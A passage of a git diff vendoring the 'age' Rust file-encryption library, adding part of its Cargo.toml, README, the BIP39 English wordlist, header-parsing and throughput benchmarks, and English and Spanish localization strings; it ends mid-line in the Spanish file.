+rand.workspace = true + +# OpenSSH-specific dependencies: +# - RSAES-OAEP from RFC 8017 with SHA-256 and MGF1 +#rsa = { version = "0.9", default-features = false, optional = true } + +# - Conversion of public keys from Ed25519 to X25519 +#curve25519-dalek = { git = "https://github.com/dalek-cryptography/curve25519-dalek", tag = "curve25519-4.2.0", optional = true } +# Async I/O +futures = { version = "0.3", optional = true } +pin-project = "1" + +# Common CLI dependencies +pinentry = { workspace = true, optional = true } + +# Dependencies used internally: +# (Breaking upgrades to these are usually backwards-compatible, but check MSRVs.) +bech32.workspace = true +cookie-factory.workspace = true + +lazy_static.workspace = true +nom.workspace = true + +scrypt.workspace = true +sha2.workspace = true +subtle.workspace = true +x25519-dalek.workspace = true +zeroize.workspace = true + +# OpenSSH-specific dependencies: +# - RSAES-OAEP from RFC 8017 with SHA-256 and MGF1 +#num-traits = { version = "0.2", optional = true } + +# - Encrypted keys +#aes = { version = "0.8", optional = true } +#aes-gcm = { version = "0.10", optional = true } +#bcrypt-pbkdf = { version = "0.10", optional = true } +#cbc = { version = "0.1", optional = true } +#cipher = { version = "0.4.3", features = ["alloc"], optional = true } +#ctr = { version = "0.9", optional = true } + +# scrypt Performance timer +web-sys = { version = "0.3", optional = true, features = ["Window", "Performance"]} + +# Async I/O +memchr = { version = "2.5", optional = true } + +# Common CLI dependencies +console = { version = "0.15", optional = true, default-features = false } +is-terminal = { version = "0.4", optional = true } +rpassword = { version = "7", optional = true } + +[target.'cfg(any(unix, windows))'.dependencies] +# Plugin management +which = { version = "4", optional = true } +wsl = { version = "0.1", optional = true } + +[dev-dependencies] +criterion = "0.5" +futures-test = "0.3" +hex = "0.4" + +proptest = "1" +test-case = "3" +tokio = { version = "1", features = ["macros", "rt-multi-thread"] } + +[target.'cfg(unix)'.dev-dependencies] +pprof = { version = "0.13", features = ["criterion", "flamegraph"] } + +[target.'cfg(any(target_arch = "x86", target_arch = "x86_64"))'.dev-dependencies] +criterion-cycles-per-byte = "0.6" + +[features] +default = [] +armor = [] +async = ["futures", "memchr"] +cli-common = ["console", "is-terminal", "pinentry", "rpassword"] + +plugin = ["age-core/plugin", "which", "wsl"] +ssh = [ +] +unstable = ["age-core/unstable"] + +[lib] +bench = false + +[[test]] +name = "test_vectors" +required-features = ["ssh"] + +[[test]] +name = "testkit" +required-features = ["armor", "async"] + +[[bench]] +name = "parser" +harness = false + +[[bench]] +name = "throughput" +harness = false + +[package.metadata.docs.rs] +all-features = true +rustdoc-args = ["--cfg", "docsrs"] diff --git a/lib/rage/age/README.md b/lib/rage/age/README.md new file mode 100644 index 0000000..e3a4cff --- /dev/null +++ b/lib/rage/age/README.md @@ -0,0 +1,67 @@ +

The age logo, an wireframe of St. Peters dome in Rome, with the text: age, file encryption

+ +# age Rust library + +age is a simple, modern, and secure file encryption library. It features small +explicit keys, no config options, and UNIX-style composability. + +This crate provides a set of Rust APIs that can be used to build more complex +tools based on the age format. The primary consumers of these APIs are the +[`rage`](https://crates.io/crates/rage) CLI tools, which provide straightforward +encryption and decryption of files or streams (e.g. in shell scripts), as well +as additional features such as mounting an encrypted archive. + +The format specification is at [age-encryption.org/v1](https://age-encryption.org/v1). +The age format was designed by [@Benjojo](https://benjojo.co.uk/) and +[@FiloSottile](https://bsky.app/profile/did:plc:x2nsupeeo52oznrmplwapppl). + +The reference interoperable Go implementation is available at +[filippo.io/age](https://filippo.io/age). + +## Usage + +Add this line to your `Cargo.toml`: + +``` +age = "0.11" +``` + +See the [documentation](https://docs.rs/age) for examples. + +### Feature flags + +- `armor` enables the `age::armor` module, which provides support for + ASCII-armored age files. + +- `async` enables asynchronous APIs for encryption and decryption. + +- `cli-common` enables common helper functions for building age CLI tools. + +- `ssh` enables the `age::ssh` module, which allows for reusing existing SSH key + files for age encryption. + +- `web-sys` enables calculating the work factor for passphrase encryption with the + [Performance timer](https://developer.mozilla.org/en-US/docs/Web/API/Performance) + via the `web-sys` crate, when compiling for a WebAssembly target such as + `wasm32-unknown-unknown`. This feature is ignored for the `wasm32-wasi` target, + which supports [`std::time::SystemTime`](https://doc.rust-lang.org/stable/std/time/struct.SystemTime.html#underlying-system-calls). + +- `unstable` enables in-development functionality. Anything behind this feature + flag has no stability or interoperability guarantees. + +## License + +Licensed under either of + + * Apache License, Version 2.0, ([LICENSE-APACHE](../LICENSE-APACHE) or + http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](../LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +### Contribution + +Unless you explicitly state otherwise, any contribution intentionally +submitted for inclusion in the work by you, as defined in the Apache-2.0 +license, shall be dual licensed as above, without any additional terms or +conditions. diff --git a/lib/rage/age/assets/bip39-english.txt b/lib/rage/age/assets/bip39-english.txt new file mode 100644 index 0000000..942040e --- /dev/null +++ b/lib/rage/age/assets/bip39-english.txt @@ -0,0 +1,2048 @@ +abandon +ability +able +about +above +absent +absorb +abstract +absurd +abuse +access +accident +account +accuse +achieve +acid +acoustic +acquire +across +act +action +actor +actress +actual +adapt +add +addict +address +adjust +admit +adult +advance +advice +aerobic +affair +afford +afraid +again +age +agent +agree +ahead +aim +air +airport +aisle +alarm +album +alcohol +alert +alien +all +alley +allow +almost +alone +alpha +already +also +alter +always +amateur +amazing +among +amount +amused +analyst +anchor +ancient +anger +angle +angry +animal +ankle +announce +annual +another +answer +antenna +antique +anxiety +any +apart +apology +appear +apple +approve +april +arch +arctic +area +arena +argue +arm +armed +armor +army +around +arrange +arrest +arrive +arrow +art +artefact +artist +artwork +ask +aspect +assault +asset +assist +assume +asthma +athlete +atom +attack +attend +attitude +attract +auction +audit +august +aunt +author +auto +autumn +average +avocado +avoid +awake +aware +away +awesome +awful +awkward +axis +baby +bachelor +bacon +badge +bag +balance +balcony +ball +bamboo +banana +banner +bar +barely +bargain +barrel +base +basic +basket +battle +beach +bean +beauty +because +become +beef +before +begin +behave +behind +believe +below +belt +bench +benefit +best +betray +better +between +beyond +bicycle +bid +bike +bind +biology +bird +birth +bitter +black +blade +blame +blanket +blast +bleak +bless +blind +blood +blossom +blouse +blue +blur +blush +board +boat +body +boil +bomb +bone +bonus +book +boost +border +boring +borrow +boss +bottom +bounce +box +boy +bracket +brain +brand +brass +brave +bread +breeze +brick +bridge +brief +bright +bring +brisk +broccoli +broken +bronze +broom +brother +brown +brush +bubble +buddy +budget +buffalo +build +bulb +bulk +bullet +bundle +bunker +burden +burger +burst +bus +business +busy +butter +buyer +buzz +cabbage +cabin +cable +cactus +cage +cake +call +calm +camera +camp +can +canal +cancel +candy +cannon +canoe +canvas +canyon +capable +capital +captain +car +carbon +card +cargo +carpet +carry +cart +case +cash +casino +castle +casual +cat +catalog +catch +category +cattle +caught +cause +caution +cave +ceiling +celery +cement +census +century +cereal +certain +chair +chalk +champion +change +chaos +chapter +charge +chase +chat +cheap +check +cheese +chef +cherry +chest +chicken +chief +child +chimney +choice +choose +chronic +chuckle +chunk +churn +cigar +cinnamon +circle +citizen +city +civil +claim +clap +clarify +claw +clay +clean +clerk +clever +click +client +cliff +climb +clinic +clip +clock +clog +close +cloth +cloud +clown +club +clump +cluster +clutch +coach +coast +coconut +code +coffee +coil +coin +collect +color +column +combine +come +comfort +comic +common +company +concert +conduct +confirm +congress +connect +consider +control +convince +cook +cool +copper +copy +coral +core +corn +correct +cost +cotton +couch +country +couple +course +cousin +cover +coyote +crack +cradle +craft +cram +crane +crash +crater +crawl +crazy +cream +credit +creek +crew +cricket +crime +crisp +critic +crop +cross +crouch +crowd +crucial +cruel +cruise +crumble +crunch +crush +cry +crystal +cube +culture +cup +cupboard +curious +current +curtain +curve +cushion +custom +cute +cycle +dad +damage +damp +dance +danger +daring +dash +daughter +dawn +day +deal +debate +debris +decade +december +decide +decline +decorate +decrease +deer +defense +define +defy +degree +delay +deliver +demand +demise +denial +dentist +deny +depart +depend +deposit +depth +deputy +derive +describe +desert +design +desk +despair +destroy +detail +detect +develop +device +devote +diagram +dial +diamond +diary +dice +diesel +diet +differ +digital +dignity +dilemma +dinner +dinosaur +direct +dirt +disagree +discover +disease +dish +dismiss +disorder +display +distance +divert +divide +divorce +dizzy +doctor +document +dog +doll +dolphin +domain +donate +donkey +donor +door +dose +double +dove +draft +dragon +drama +drastic +draw +dream +dress +drift +drill +drink +drip +drive +drop +drum +dry +duck +dumb +dune +during +dust +dutch +duty +dwarf +dynamic +eager +eagle +early +earn +earth +easily +east +easy +echo +ecology +economy +edge +edit +educate +effort +egg +eight +either +elbow +elder +electric +elegant +element +elephant +elevator +elite +else +embark +embody +embrace +emerge +emotion +employ +empower +empty +enable +enact +end +endless +endorse +enemy +energy +enforce +engage +engine +enhance +enjoy +enlist +enough +enrich +enroll +ensure +enter +entire +entry +envelope +episode +equal +equip +era +erase +erode +erosion +error +erupt +escape +essay +essence +estate +eternal +ethics +evidence +evil +evoke +evolve +exact +example +excess +exchange +excite +exclude +excuse +execute +exercise +exhaust +exhibit +exile +exist +exit +exotic +expand +expect +expire +explain +expose +express +extend +extra +eye +eyebrow +fabric +face +faculty +fade +faint +faith +fall +false +fame +family +famous +fan +fancy +fantasy +farm +fashion +fat +fatal +father +fatigue +fault +favorite +feature +february +federal +fee +feed +feel +female +fence +festival +fetch +fever +few +fiber +fiction +field +figure +file +film +filter +final +find +fine +finger +finish +fire +firm +first +fiscal +fish +fit +fitness +fix +flag +flame +flash +flat +flavor +flee +flight +flip +float +flock +floor +flower +fluid +flush +fly +foam +focus +fog +foil +fold +follow +food +foot +force +forest +forget +fork +fortune +forum +forward +fossil +foster +found +fox +fragile +frame +frequent +fresh +friend +fringe +frog +front +frost +frown +frozen +fruit +fuel +fun +funny +furnace +fury +future +gadget +gain +galaxy +gallery +game +gap +garage +garbage +garden +garlic +garment +gas +gasp +gate +gather +gauge +gaze +general +genius +genre +gentle +genuine +gesture +ghost +giant +gift +giggle +ginger +giraffe +girl +give +glad +glance +glare +glass +glide +glimpse +globe +gloom +glory +glove +glow +glue +goat +goddess +gold +good +goose +gorilla +gospel +gossip +govern +gown +grab +grace +grain +grant +grape +grass +gravity +great +green +grid +grief +grit +grocery +group +grow +grunt +guard +guess +guide +guilt +guitar +gun +gym +habit +hair +half +hammer +hamster +hand +happy +harbor +hard +harsh +harvest +hat +have +hawk +hazard +head +health +heart +heavy +hedgehog +height +hello +helmet +help +hen +hero +hidden +high +hill +hint +hip +hire +history +hobby +hockey +hold +hole +holiday +hollow +home +honey +hood +hope +horn +horror +horse +hospital +host +hotel +hour +hover +hub +huge +human +humble +humor +hundred +hungry +hunt +hurdle +hurry +hurt +husband +hybrid +ice +icon +idea +identify +idle +ignore +ill +illegal +illness +image +imitate +immense +immune +impact +impose +improve +impulse +inch +include +income +increase +index +indicate +indoor +industry +infant +inflict +inform +inhale +inherit +initial +inject +injury +inmate +inner +innocent +input +inquiry +insane +insect +inside +inspire +install +intact +interest +into +invest +invite +involve +iron +island +isolate +issue +item +ivory +jacket +jaguar +jar +jazz +jealous +jeans +jelly +jewel +job +join +joke +journey +joy +judge +juice +jump +jungle +junior +junk +just +kangaroo +keen +keep +ketchup +key +kick +kid +kidney +kind +kingdom +kiss +kit +kitchen +kite +kitten +kiwi +knee +knife +knock +know +lab +label +labor +ladder +lady +lake +lamp +language +laptop +large +later +latin +laugh +laundry +lava +law +lawn +lawsuit +layer +lazy +leader +leaf +learn +leave +lecture +left +leg +legal +legend +leisure +lemon +lend +length +lens +leopard +lesson +letter +level +liar +liberty +library +license +life +lift +light +like +limb +limit +link +lion +liquid +list +little +live +lizard +load +loan +lobster +local +lock +logic +lonely +long +loop +lottery +loud +lounge +love +loyal +lucky +luggage +lumber +lunar +lunch +luxury +lyrics +machine +mad +magic +magnet +maid +mail +main +major +make +mammal +man +manage +mandate +mango +mansion +manual +maple +marble +march +margin +marine +market +marriage +mask +mass +master +match +material +math +matrix +matter +maximum +maze +meadow +mean +measure +meat +mechanic +medal +media +melody +melt +member +memory +mention +menu +mercy +merge +merit +merry +mesh +message +metal +method +middle +midnight +milk +million +mimic +mind +minimum +minor +minute +miracle +mirror +misery +miss +mistake +mix +mixed +mixture +mobile +model +modify +mom +moment +monitor +monkey +monster +month +moon +moral +more +morning +mosquito +mother +motion +motor +mountain +mouse +move +movie +much +muffin +mule +multiply +muscle +museum +mushroom +music +must +mutual +myself +mystery +myth +naive +name +napkin +narrow +nasty +nation +nature +near +neck +need +negative +neglect +neither +nephew +nerve +nest +net +network +neutral +never +news +next +nice +night +noble +noise +nominee +noodle +normal +north +nose +notable +note +nothing +notice +novel +now +nuclear +number +nurse +nut +oak +obey +object +oblige +obscure +observe +obtain +obvious +occur +ocean +october +odor +off +offer +office +often +oil +okay +old +olive +olympic +omit +once +one +onion +online +only +open +opera +opinion +oppose +option +orange +orbit +orchard +order +ordinary +organ +orient +original +orphan +ostrich +other +outdoor +outer +output +outside +oval +oven +over +own +owner +oxygen +oyster +ozone +pact +paddle +page +pair +palace +palm +panda +panel +panic +panther +paper +parade +parent +park +parrot +party +pass +patch +path +patient +patrol +pattern +pause +pave +payment +peace +peanut +pear +peasant +pelican +pen +penalty +pencil +people +pepper +perfect +permit +person +pet +phone +photo +phrase +physical +piano +picnic +picture +piece +pig +pigeon +pill +pilot +pink +pioneer +pipe +pistol +pitch +pizza +place +planet +plastic +plate +play +please +pledge +pluck +plug +plunge +poem +poet +point +polar +pole +police +pond +pony +pool +popular +portion +position +possible +post +potato +pottery +poverty +powder +power +practice +praise +predict +prefer +prepare +present +pretty +prevent +price +pride +primary +print +priority +prison +private +prize +problem +process +produce +profit +program +project +promote +proof +property +prosper +protect +proud +provide +public +pudding +pull +pulp +pulse +pumpkin +punch +pupil +puppy +purchase +purity +purpose +purse +push +put +puzzle +pyramid +quality +quantum +quarter +question +quick +quit +quiz +quote +rabbit +raccoon +race +rack +radar +radio +rail +rain +raise +rally +ramp +ranch +random +range +rapid +rare +rate +rather +raven +raw +razor +ready +real +reason +rebel +rebuild +recall +receive +recipe +record +recycle +reduce +reflect +reform +refuse +region +regret +regular +reject +relax +release +relief +rely +remain +remember +remind +remove +render +renew +rent +reopen +repair +repeat +replace +report +require +rescue +resemble +resist +resource +response +result +retire +retreat +return +reunion +reveal +review +reward +rhythm +rib +ribbon +rice +rich +ride +ridge +rifle +right +rigid +ring +riot +ripple +risk +ritual +rival +river +road +roast +robot +robust +rocket +romance +roof +rookie +room +rose +rotate +rough +round +route +royal +rubber +rude +rug +rule +run +runway +rural +sad +saddle +sadness +safe +sail +salad +salmon +salon +salt +salute +same +sample +sand +satisfy +satoshi +sauce +sausage +save +say +scale +scan +scare +scatter +scene +scheme +school +science +scissors +scorpion +scout +scrap +screen +script +scrub +sea +search +season +seat +second +secret +section +security +seed +seek +segment +select +sell +seminar +senior +sense +sentence +series +service +session +settle +setup +seven +shadow +shaft +shallow +share +shed +shell +sheriff +shield +shift +shine +ship +shiver +shock +shoe +shoot +shop +short +shoulder +shove +shrimp +shrug +shuffle +shy +sibling +sick +side +siege +sight +sign +silent +silk +silly +silver +similar +simple +since +sing +siren +sister +situate +six +size +skate +sketch +ski +skill +skin +skirt +skull +slab +slam +sleep +slender +slice +slide +slight +slim +slogan +slot +slow +slush +small +smart +smile +smoke +smooth +snack +snake +snap +sniff +snow +soap +soccer +social +sock +soda +soft +solar +soldier +solid +solution +solve +someone +song +soon +sorry +sort +soul +sound +soup +source +south +space +spare +spatial +spawn +speak +special +speed +spell +spend +sphere +spice +spider +spike +spin +spirit +split +spoil +sponsor +spoon +sport +spot +spray +spread +spring +spy +square +squeeze +squirrel +stable +stadium +staff +stage +stairs +stamp +stand +start +state +stay +steak +steel +stem +step +stereo +stick +still +sting +stock +stomach +stone +stool +story +stove +strategy +street +strike +strong +struggle +student +stuff +stumble +style +subject +submit +subway +success +such +sudden +suffer +sugar +suggest +suit +summer +sun +sunny +sunset +super +supply +supreme +sure +surface +surge +surprise +surround +survey +suspect +sustain +swallow +swamp +swap +swarm +swear +sweet +swift +swim +swing +switch +sword +symbol +symptom +syrup +system +table +tackle +tag +tail +talent +talk +tank +tape +target +task +taste +tattoo +taxi +teach +team +tell +ten +tenant +tennis +tent +term +test +text +thank +that +theme +then +theory +there +they +thing +this +thought +three +thrive +throw +thumb +thunder +ticket +tide +tiger +tilt +timber +time +tiny +tip +tired +tissue +title +toast +tobacco +today +toddler +toe +together +toilet +token +tomato +tomorrow +tone +tongue +tonight +tool +tooth +top +topic +topple +torch +tornado +tortoise +toss +total +tourist +toward +tower +town +toy +track +trade +traffic +tragic +train +transfer +trap +trash +travel +tray +treat +tree +trend +trial +tribe +trick +trigger +trim +trip +trophy +trouble +truck +true +truly +trumpet +trust +truth +try +tube +tuition +tumble +tuna +tunnel +turkey +turn +turtle +twelve +twenty +twice +twin +twist +two +type +typical +ugly +umbrella +unable +unaware +uncle +uncover +under +undo +unfair +unfold +unhappy +uniform +unique +unit +universe +unknown +unlock +until +unusual +unveil +update +upgrade +uphold +upon +upper +upset +urban +urge +usage +use +used +useful +useless +usual +utility +vacant +vacuum +vague +valid +valley +valve +van +vanish +vapor +various +vast +vault +vehicle +velvet +vendor +venture +venue +verb +verify +version +very +vessel +veteran +viable +vibrant +vicious +victory +video +view +village +vintage +violin +virtual +virus +visa +visit +visual +vital +vivid +vocal +voice +void +volcano +volume +vote +voyage +wage +wagon +wait +walk +wall +walnut +want +warfare +warm +warrior +wash +wasp +waste +water +wave +way +wealth +weapon +wear +weasel +weather +web +wedding +weekend +weird +welcome +west +wet +whale +what +wheat +wheel +when +where +whip +whisper +wide +width +wife +wild +will +win +window +wine +wing +wink +winner +winter +wire +wisdom +wise +wish +witness +wolf +woman +wonder +wood +wool +word +work +world +worry +worth +wrap +wreck +wrestle +wrist +write +wrong +yard +year +yellow +you +young +youth +zebra +zero +zone +zoo diff --git a/lib/rage/age/benches/parser.rs b/lib/rage/age/benches/parser.rs new file mode 100644 index 0000000..cea37c4 --- /dev/null +++ b/lib/rage/age/benches/parser.rs @@ -0,0 +1,43 @@ +use age::{x25519, Decryptor, Encryptor}; +use criterion::{criterion_group, criterion_main, BenchmarkId, Criterion, Throughput}; + +#[cfg(unix)] +use pprof::criterion::{Output, PProfProfiler}; + +use std::io::Write; + +fn bench(c: &mut Criterion) { + let recipients: Vec<_> = (0..10) + .map(|_| x25519::Identity::generate().to_public()) + .collect(); + let mut group = c.benchmark_group("header"); + + for count in 1..10 { + group.throughput(Throughput::Elements(count as u64)); + group.bench_function(BenchmarkId::new("parse", count), |b| { + let mut encrypted = vec![]; + let mut output = + Encryptor::with_recipients(recipients.iter().take(count).map(|r| r as _)) + .unwrap() + .wrap_output(&mut encrypted) + .unwrap(); + output.write_all(&[]).unwrap(); + output.finish().unwrap(); + + b.iter(|| Decryptor::new_buffered(&encrypted[..])) + }); + } + + group.finish(); +} + +#[cfg(unix)] +criterion_group!( + name = benches; + config = Criterion::default() + .with_profiler(PProfProfiler::new(100, Output::Flamegraph(None))); + targets = bench +); +#[cfg(not(unix))] +criterion_group!(benches, bench); +criterion_main!(benches); diff --git a/lib/rage/age/benches/throughput.rs b/lib/rage/age/benches/throughput.rs new file mode 100644 index 0000000..8c5c349 --- /dev/null +++ b/lib/rage/age/benches/throughput.rs @@ -0,0 +1,100 @@ +use age::{x25519, Decryptor, Encryptor}; +use criterion::{criterion_group, criterion_main, BenchmarkId, Criterion, Throughput}; + +#[cfg(any(target_arch = "x86", target_arch = "x86_64"))] +use criterion_cycles_per_byte::CyclesPerByte; + +#[cfg(any(target_arch = "x86", target_arch = "x86_64"))] +type Criterion_ = Criterion; + +#[cfg(not(any(target_arch = "x86", target_arch = "x86_64")))] +type Criterion_ = Criterion; + +#[cfg(any(target_arch = "x86", target_arch = "x86_64"))] +fn setup_criterion() -> Criterion_ { + Criterion::default().with_measurement(CyclesPerByte) +} + +#[cfg(not(any(target_arch = "x86", target_arch = "x86_64")))] +fn setup_criterion() -> Criterion_ { + Criterion::default() +} + +#[cfg(unix)] +use pprof::criterion::{Output, PProfProfiler}; + +use std::io::{self, Read, Write}; +use std::iter; + +const KB: usize = 1024; + +fn bench(c: &mut Criterion_) { + let identity = x25519::Identity::generate(); + let recipient = identity.to_public(); + let mut group = c.benchmark_group("age"); + + // Prepare buffers to use in the benchmarks. + let pt_buf = vec![7u8; 1024 * KB]; + let mut ct_buf = vec![]; + let mut out_buf = vec![0u8; 1024 * KB]; + + for &size in &[ + KB, + 4 * KB, + 16 * KB, + 64 * KB, + 128 * KB, + 256 * KB, + 500 * KB, + 1024 * KB, + ] { + group.throughput(Throughput::Bytes(size as u64)); + + group.bench_function(BenchmarkId::new("encrypt", size), |b| { + b.iter(|| { + let mut output = Encryptor::with_recipients(iter::once(&recipient as _)) + .unwrap() + .wrap_output(io::sink()) + .unwrap(); + output.write_all(&pt_buf[..size]).unwrap(); + output.finish().unwrap(); + }) + }); + + group.bench_function(BenchmarkId::new("decrypt", size), |b| { + let mut output = Encryptor::with_recipients(iter::once(&recipient as _)) + .unwrap() + .wrap_output(&mut ct_buf) + .unwrap(); + output.write_all(&pt_buf[..size]).unwrap(); + output.finish().unwrap(); + + b.iter(|| { + let decryptor = Decryptor::new_buffered(&ct_buf[..]).unwrap(); + let mut input = decryptor + .decrypt(iter::once(&identity as &dyn age::Identity)) + .unwrap(); + input.read_exact(&mut out_buf[..size]).unwrap(); + }); + + ct_buf.clear(); + }); + } + + group.finish(); +} + +#[cfg(unix)] +criterion_group!( + name = benches; + config = setup_criterion() + .with_profiler(PProfProfiler::new(100, Output::Flamegraph(None))); + targets = bench +); +#[cfg(not(unix))] +criterion_group!( + name = benches; + config = setup_criterion(); + targets = bench +); +criterion_main!(benches); diff --git a/lib/rage/age/i18n/en-US/age.ftl b/lib/rage/age/i18n/en-US/age.ftl new file mode 100644 index 0000000..f1b07ed --- /dev/null +++ b/lib/rage/age/i18n/en-US/age.ftl @@ -0,0 +1,196 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = Input is required +cli-secret-input-mismatch = Inputs do not match + +cli-passphrase-desc = Type passphrase (leave empty to autogenerate a secure one) +cli-passphrase-prompt = Passphrase +cli-passphrase-confirm = Confirm passphrase + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = truncated; use a pipe, a redirect, or {-flag-output} to decrypt the entire file + +err-detected-binary = detected unprintable data; refusing to output to the terminal. +rec-detected-binary = Force with '{-output-stdout}'. + +err-deny-binary-output = refusing to output binary to the terminal. +rec-deny-binary-output = Did you mean to use {-flag-armor}? {rec-detected-binary} + +err-deny-overwrite-file = refusing to overwrite existing file '{$filename}'. + +err-invalid-filename = invalid filename '{$filename}'. + +err-missing-directory = directory '{$path}' does not exist. + +## Identity file errors + +err-failed-to-write-output = Failed to write to output: {$err} + +err-identity-file-contains-plugin = Identity file '{$filename}' contains identities for '{-age-plugin-}{$plugin_name}'. +rec-identity-file-contains-plugin = Try using '{-age-plugin-}{$plugin_name}' to convert this identity to a recipient. + +err-no-identities-in-file = No identities found in file '{$filename}'. +err-no-identities-in-stdin = No identities found in standard input. + +## Errors + +err-decryption-failed = Decryption failed + +err-excessive-work = Excessive work parameter for passphrase. +rec-excessive-work = Decryption would take around {$duration} seconds. + +err-header-invalid = Header is invalid + +err-header-mac-invalid = Header MAC is invalid + +err-incompatible-recipients-oneway = Cannot encrypt to a recipient with labels '{$labels}' alongside a recipient with no labels +err-incompatible-recipients-twoway = Cannot encrypt to a recipient with labels '{$left}' alongside a recipient with labels '{$right}' + +err-invalid-recipient-labels = The first recipient requires one or more invalid labels: '{$labels}' + +err-key-decryption = Failed to decrypt an encrypted key + +err-missing-recipients = Missing recipients. + +err-mixed-recipient-passphrase = {-scrypt-recipient} can't be used with other recipients. + +err-no-matching-keys = No matching keys found + +err-unknown-format = Unknown {-age} format. +rec-unknown-format = Have you tried upgrading to the latest version? + +err-missing-plugin = Could not find '{$plugin_name}' on the PATH. +rec-missing-plugin = Have you installed the plugin? + +err-plugin-identity = '{$plugin_name}' couldn't use an identity: {$message} +err-plugin-recipient = '{$plugin_name}' couldn't use recipient {$recipient}: {$message} + +err-plugin-died = '{$plugin_name}' unexpectedly died. +rec-plugin-died-1 = If you are developing a plugin, run with {$env_var} for more information. +rec-plugin-died-2 = Warning: this prints private encryption key material to standard error. + +err-plugin-multiple = Plugin returned multiple errors: + +err-read-identity-encrypted-without-passphrase = + Identity file '{$filename}' is encrypted with {-age} but not with a passphrase. +err-read-identity-not-found = Identity file not found: {$filename} + +err-read-invalid-recipient = Invalid recipient '{$recipient}'. + +err-read-invalid-recipients-file = + Recipients file '{$filename}' contains non-recipient data on line {$line_number}. + +err-read-missing-recipients-file = Recipients file not found: {$filename} + +err-read-multiple-stdin = Standard input can't be used for multiple purposes. + +err-read-rsa-modulus-too-large = + RSA Modulus Too Large + --------------------- + {-openssh} supports various RSA modulus sizes, but {-rage} only supports public + keys of at most {$max_size} bits, to prevent a Denial of Service (DoS) condition + when encrypting to untrusted public keys. + +err-read-rsa-modulus-too-small = RSA key size is too small. + +err-stream-last-chunk-empty = Last STREAM chunk is empty. Please report this, and/or try an older {-rage} version. + +## Encrypted identities + +encrypted-passphrase-prompt = Type passphrase for encrypted identity '{$filename}' + +encrypted-warn-no-match = Warning: encrypted identity file '{$filename}' didn't match file's recipients + +## Plugin identities + +plugin-waiting-on-binary = Waiting for {$binary_name}... + +## SSH identities + +ssh-passphrase-prompt = Type passphrase for {-openssh} key '{$filename}' + +ssh-unsupported-key = Unsupported SSH key: {$name} + +ssh-insecure-key-format = + Insecure Encrypted Key Format + ----------------------------- + Prior to {-openssh} version 7.8, if a password was set when generating a new + DSA, ECDSA, or RSA key, {-ssh-keygen} would encrypt the key using the encrypted + PEM format. This encryption format is insecure and should no longer be used. + + You can migrate your key to the encrypted SSH private key format (which has + been supported by {-openssh} since version 6.5, released in January 2014) by + changing its passphrase with the following command: + + {" "}{$change_passphrase} + + If you are using an {-openssh} version between 6.5 and 7.7 (such as the default + {-openssh} provided on Ubuntu 18.04 LTS), you can use the following command to + force keys to be generated using the new format: + + {" "}{$gen_new} + +ssh-unsupported-cipher = + Unsupported Cipher for Encrypted SSH Key + ---------------------------------------- + {-openssh} internally supports several different ciphers for encrypted keys, + but it has only ever directly generated a few of them. {-rage} supports all + ciphers that {-ssh-keygen} might generate, and is being updated on a + case-by-case basis with support for non-standard ciphers. Your key uses a + currently-unsupported cipher ({$cipher}). + + If you would like support for this key type, please open an issue here: + + {$new_issue} + +ssh-unsupported-key-type = + Unsupported SSH Key Type + ------------------------ + {-openssh} supports various different key types, but {-rage} only supports a + subset of these for backwards compatibility, specifically the '{-ssh-rsa}' + and '{-ssh-ed25519}' key types. This SSH key uses the unsupported key type + '{$key_type}'. + +ssh-unsupported-security-key = + Unsupported SSH Hardware Authenticator + -------------------------------------- + {-openssh} version 8.2p1 added support for {-fido-u2f} hardware authenticators, + including hardware security keys such as {-yubikeys}. {-rage} does not work with + these SSH key types, because their protocol does not support encryption. + This SSH key uses the incompatible type '{$key_type}'. + + If you have a compatible hardware security key, you should use this plugin: + + {$age_plugin_yubikey_url} + + A hardware security key used with both {-openssh} and this plugin will have a + separate SSH public key and {-age} encryption recipient, because the plugin + implements the {-piv} protocol. diff --git a/lib/rage/age/i18n/es-AR/age.ftl b/lib/rage/age/i18n/es-AR/age.ftl new file mode 100644 index 0000000..08a5406 --- /dev/null +++ b/lib/rage/age/i18n/es-AR/age.ftl @@ -0,0 +1,108 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = requiere una entrada de texto +cli-secret-input-mismatch = las entrada provistas no coinciden + +cli-passphrase-desc = Escriba su frase contraseña (dejar vacío para autogenerar una segura) +cli-passphrase-prompt = Frase contraseña +cli-passphrase-confirm = Confirmar frase contraseña + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = truncado; use un pipe, una redirección, or {-flag-output} para desencriptar todo el archivo + +err-detected-binary = datos no imprimibles detectados; no se escribira la salida a la terminal. +rec-detected-binary = Forzar con '{-output-stdout}'. + +err-deny-binary-output = rechazando escribir output binario a la terminal. +rec-deny-binary-output = ¿Querias usar {-flag-armor}? {rec-detected-binary} + +## Errors + +err-decryption-failed = Desencripción fallida. + +err-excessive-work = Parámetro excesivo de trabajo para frase contraseña. +rec-excessive-work = La desencripción tomara alrededor de {$duration} segundos. + +err-header-invalid = Encabezado inválido + +err-header-mac-invalid = MAC de encabezado inválido. + +err-key-decryption = No se pudo desencriptar una clave encriptada. + +err-missing-recipients = No se encontraron destinatarios. + +err-no-matching-keys = No se encontraron claves coincidentes. + +err-unknown-format = Formato {-age} desconocido. +rec-unknown-format = ¿Has intentado actualizar a la última versión? + +err-read-identity-not-found = Archivo identidad no encontrado: 